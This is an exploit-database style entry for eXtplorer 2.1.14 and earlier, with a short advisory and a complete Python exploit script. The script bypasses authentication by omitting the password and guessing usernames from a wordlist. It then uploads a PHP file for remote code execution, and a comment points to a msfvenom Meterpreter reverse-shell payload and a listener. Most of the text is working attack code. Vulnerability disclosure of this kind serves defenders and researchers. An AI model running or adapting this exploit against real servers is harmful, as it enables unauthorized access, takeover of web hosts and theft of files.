# Exploit Title: eXtplorer<= 2.1.14 - Authentication Bypass & Remote Code Execution (RCE) # Exploit Author: ErPaciocco # Author Website: https://erpaciocco.github.io # Vendor Homepage: https://extplorer.net/ # # Vendor: # ============== # extplorer.net # # Product: # ================== # eXtplorer <= v2.1.14 # # eXtplorer is a PHP and Javascript-based File Manager, it allows to browse # directories, edit, copy, move, delete, # search, upload and download files, create & extract archives, create new # files and directories, change file # permissions (chmod) and more. It is often used as FTP extension for popular # applications like Joomla. # # Vulnerability Type: # ====================== # Authentication Bypass (& Remote Command Execution) # # # Vulnerability Details: # ===================== # # eXtplorer authentication mechanism allows an attacker # to login into the Admin Panel without knowing the password # of the victim, but only its username. This vector is exploited # by not supplying password in POST request. # # # Tested on Windows # # # Reproduction steps: # ================== # # 1) Navigate to Login Panel # 2) Intercept authentication POST request to /index.php # 3) Remove 'password' field # 4) Send it and enjoy! # # # Exploit code(s): # =============== # # Run below PY script from CLI... # # [eXtplorer_auth_bypass.py] # # Proof Of Concept try: import requests except: print(f"ERROR: RUN: pip install requests") exit() import sys import time import urllib.parse import re import random import string import socket import time import base64 TARGET = None WORDLIST = None _BUILTIN_WL = [ 'root', 'admin', 'test', 'guest', 'info', 'adm', 'user', 'administrator' ] _HOST = None _PATH = None _SESSION = None _HEADERS = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', 'Accept-Language': 'it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive' } def detect(): global _HOST global _PATH global _SESSION global _HEADERS _HOST = TARGET[0].split(':')[0] + '://' + TARGET[0].split('/')[2] _PATH = '/'.join(TARGET[0].split('/')[3:]).rstrip('/') _SESSION = requests.Session() raw = _SESSION.get(f"{_HOST}/{_PATH}/extplorer.xml", headers=_HEADERS, verify=False) if raw.status_code == 200: ver = re.findall("(((\d+)\.?)+)<\/version>", raw.text, re.MULTILINE) if int(ver[0][2]) < 15: return True return False def auth_bypass(): global _HOST global _PATH global _SESSION global _HEADERS global WORDLIST global _BUILTIN_WL _HEADERS['X-Requested-With'] = 'XMLHttpRequest' params = {'option': 'com_extplorer', 'action': 'login', 'type': 'extplorer', 'username': 'admin', 'lang':'english'} if WORDLIST != None: if WORDLIST == _BUILTIN_WL: info(f"Attempting to guess an username from builtin wordlist") wl = _BUILTIN_WL else: info(f"Attempting to guess an username from wordlist: {WORDLIST[0]}") with open(WORDLIST[0], "r") as f: wl = f.read().split('\n') for user in wl: params = {'option': 'com_extplorer', 'action': 'login', 'type': 'extplorer', 'username': user, 'lang':'english'} info(f"Trying with {user}") res = _SESSION.post(f"{_HOST}/{_PATH}/index.php", data=params, headers=_HEADERS, verify=False) if "successful" in res.text: return (user) else: res = _SESSION.post(f"{_HOST}/{_PATH}/index.php", data=params, headers=_HEADERS, verify=False) if "successful" in res.text: return ('admin') return False def rce(): global _HOST global _PATH global _SESSION global _HEADERS global _PAYLOAD tokenReq = _SESSION.get(f"{_HOST}/{_PATH}/index.php?option=com_extplorer&action=include_javascript&file=functions.js") token = re.findall("token:\s\"([a-f0-9]{32})\"", tokenReq.text)[0] info(f"CSRF Token obtained: {token}") payload = editPayload() info(f"Payload edited to fit local parameters") params = {'option': 'com_extplorer', 'action': 'upload', 'dir': f"./{_PATH}", 'requestType': 'xmlhttprequest', 'confirm':'true', 'token': token} name = ''.join(random.choices(string.ascii_uppercase + string.digits, k=6)) files = {'userfile[0]':(f"{name}.php", payload)} req = _SESSION.post(f"{_HOST}/{_PATH}/index.php", data=params, files=files, verify=False) if "successful" in req.text: info(f"File {name}.php uploaded in root dir") info(f"Now set a (metasploit) listener and go to: {_HOST}/{_PATH}/{name}.php") def attack(): if not TARGET: error("TARGET needed") if TARGET: if not detect(): error("eXtplorer vulnerable instance not found!") exit(1) else: info("eXtplorer endpoint is vulnerable!") username = auth_bypass() if username: info("Auth bypassed!") rce() else: error("Username 'admin' not found") def error(message): print(f"[E] {message}") def info(message): print(f"[I] {message}") def editPayload(): # You can generate payload with msfvenom and paste below base64 encoded result # msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f base64 return base64.b64decode("PD9waHAgZWNobyAiSEFDS0VEISI7ICA/Pg==") def help(): print(r"""eXtplorer <= 2.1.14 exploit - Authentication Bypass & Remote Code Execution Usage: python3 eXtplorer_auth_bypass.py -t [-w ] [-wb] Options: -t Target host. Provide target IP address (and optionally port). -w Wordlist for user enumeration and authentication (Optional) -wb Use built-in wordlist for user enumeration (Optional) -h Show this help menu. """) return True args = {"t" : (1, lambda *x: (globals().update(TARGET = x[0]))), "w" : (1, lambda *x: (globals().update(WORDLIST = x[0]))), "wb": (0, lambda *x: (globals().update(WORDLIST = _BUILTIN_WL))), "h" : (0, lambda *x: (help() and exit(0)))} if __name__ == "__main__": i = 1 [ args[ arg[1:]][1](sys.argv[i+1: (i:=i+1+args[arg[1:]][0]) ]) for arg in [k for k in sys.argv[i:] ] if arg[0] == '-' ] attack() else: help() # /////////////////////////////////////////////////////////////////////// # [Script examples] # # # c:\>python eXtplorer_auth_bypass.py -t https://target.com # c:\>python eXtplorer_auth_bypass.py -t http://target.com:1234 -w wordlist.txt # c:\>python eXtplorer_auth_bypass.py -t http://target.com -wb # Exploitation Method: # ====================== # Remote # [+] Disclaimer # The information contained within this advisory is supplied "as-is" with no # warranties or guarantees of fitness of use or otherwise. # Permission is hereby granted for the redistribution of this advisory, # provided that it is not altered except by reformatting it, and # that due credit is given. Permission is explicitly given for insertion in # vulnerability databases and similar, provided that due credit # is given to the author. The author is not responsible for any misuse of the # information contained herein and accepts no responsibility # for any damage caused by the use or misuse of this information.